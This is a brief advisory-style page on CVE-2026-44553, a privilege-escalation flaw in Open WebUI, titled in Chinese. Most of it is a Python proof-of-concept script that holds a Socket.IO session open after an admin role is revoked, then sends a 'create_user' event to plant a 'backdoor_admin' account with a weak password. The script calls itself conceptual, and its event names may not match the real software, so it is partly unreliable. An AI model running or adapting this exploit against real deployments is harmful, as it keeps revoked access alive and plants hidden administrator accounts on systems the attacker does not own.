CVE-2026-44553 Open WebUI权限提升漏洞

import socketio import time # Conceptual Proof of Concept for CVE-2026-44553 # This script demonstrates maintaining admin privileges via a persistent Socket.IO session class ExploitClient: def __init__(self, target_url): self.sio = socketio.Client() self.target_url = target_url self.setup_handlers() def setup_handlers(self): @self.sio.event def connect(): print("[+] Connected to Open WebUI Socket.IO server") @self.sio.event def disconnect(): print("[-] Disconnected from server") def login(self, token): """Authenticate with a valid admin token""" print(f"[*] Attempting authentication with token: {token}") # Emit authentication event self.sio.emit('auth', {'token': token}) def maintain_session_and_exploit(self): """Simulate keeping the connection alive and exploiting after revocation""" try: self.sio.connect(self.target_url) # 1. Authenticate as Admin self.login('VALID_ADMIN_TOKEN_HERE') print("[*] Session established. Waiting for admin to revoke role in UI...") print("[*] Keeping connection alive via heartbeats...") # Simulate waiting time while admin revokes access in the web interface # The vulnerability is that the socket connection remains valid time.sleep(60) # 2. Attempt privileged action despite revocation print("[*] Attempting to create a new user (Admin action)...") # This payload would succeed because SESSION_POOL was not cleared malicious_payload = { 'username': 'backdoor_admin', 'password': 'password123', 'role': 'admin' } self.sio.emit('create_user', malicious_payload) print("[+] Privileged action sent via revoked session.") except Exception as e: print(f"[!] Error: {e}") finally: self.sio.disconnect() if __name__ == "__main__": target = "http://target-open-webui-instance:3000" exploit = ExploitClient(target) exploit.maintain_session_and_exploit()